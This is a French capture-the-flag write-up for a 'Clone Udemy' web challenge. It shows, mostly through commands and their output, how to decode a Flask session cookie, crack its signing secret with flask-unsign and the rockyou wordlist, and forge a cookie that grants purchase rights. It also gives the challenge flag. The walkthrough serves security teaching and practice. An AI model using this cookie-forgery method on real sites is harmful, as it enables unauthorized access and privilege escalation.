Clone Udemy
Flag: StarHack{cookie_manipulation_currency_conversion_error}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Ici, il faut repérer le cookie de session. Le serveur nous donne l'indication que c'est du flask dans l'entête de ses réponses, on peut utiliser flask-unsign sur notre cookie pour confirmer cela.

$ flask-unsign --decode --cookie ".eJxVjkEKwzAMBL-i6mzyAP-g0EOvpYSgOIpjcGWw7EAI-XsMbSk9LbvMSrvjMEfShRXtc0coTVCrc6yKBh-pwkIrw8gsEJP3PEGqpcP-MF-cc065wVdZKYYJXOaJpQSK2sE9MilDyRuQpyB_zd-jW_JB4OPnGi8N6w06kmGsG9q5HWOD7wVDELQl1xZU5Sz0YrRYWAseJ-wkR1c.ZysU9g.H1uBMSs10UCtgIIxqJiQHNeIv04"
{'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': False, 'logged_in': True, 'username': 'test'}
On a un champ can_buy
, et comme c'est ce que l'on doit faire vu que l'on peut acheter le flag, il va falloir changer cette valeur. Pour ça il faut forger un nouveau cookie et donc trouver le secret que le serveur utilise.
Toujours avec flask-unsign, on va tester tous les mots de la wordlist rockyou.txt
pour voir si l'un d'eux est utilisé par le serveur.
$ flask-unsign --unsign --wordlist "E:/Downloads/rockyou.txt" --no-literal-eval --cookie ".eJxVjkEKwzAMBL-i6mzyAP-g0EOvpYSgOIpjcGWw7EAI-XsMbSk9LbvMSrvjMEfShRXtc0coTVCrc6yKBh-pwkIrw8gsEJP3PEGqpcP-MF-cc065wVdZKYYJXOaJpQSK2sE9MilDyRuQpyB_zd-jW_JB4OPnGi8N6w06kmGsG9q5HWOD7wVDELQl1xZU5Sz0YrRYWAseJ-wkR1c.ZysU9g.H1uBMSs10UCtgIIxqJiQHNeIv04"
[*] Session decodes to: {'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': False, 'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 9216 attempts
b'apocalipsis'
Bingo ! Le serveur utilise apocalipsis
pour générer les cookies. On peut donc en forger nous-mêmes :
flask-unsign --sign --secret 'apocalipsis' --cookie "{'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': True, 'logged_in': True, 'username': 'test'}"
.eJxVjsEKgzAQRH9lu-fgB_gHhR56LUVkjWsMpBvYTQQR_71CK6WnYYY3zGzYT4lsZsP2uSGUQ9Cq92yGDh-5wkwLw8AskHIIPEKupcFudyfOqlkP-CoLpTiCVx5ZSqRkDdwTkzEUXYECRflr_oZuOUSBr59quhxY59CT9ENdsS1a2eHnQB_lDKqxCr0YWyxsBfc3p01HDA.ZysXQQ.Vh6mNaBnGjzhLnnfCPJZh8t95a0
Il ne reste plus qu'à relance la requête /purchase
avec notre nouveau cookie pour obtenir le flag :

Dernière mise à jour
Cet article vous a-t-il été utile ?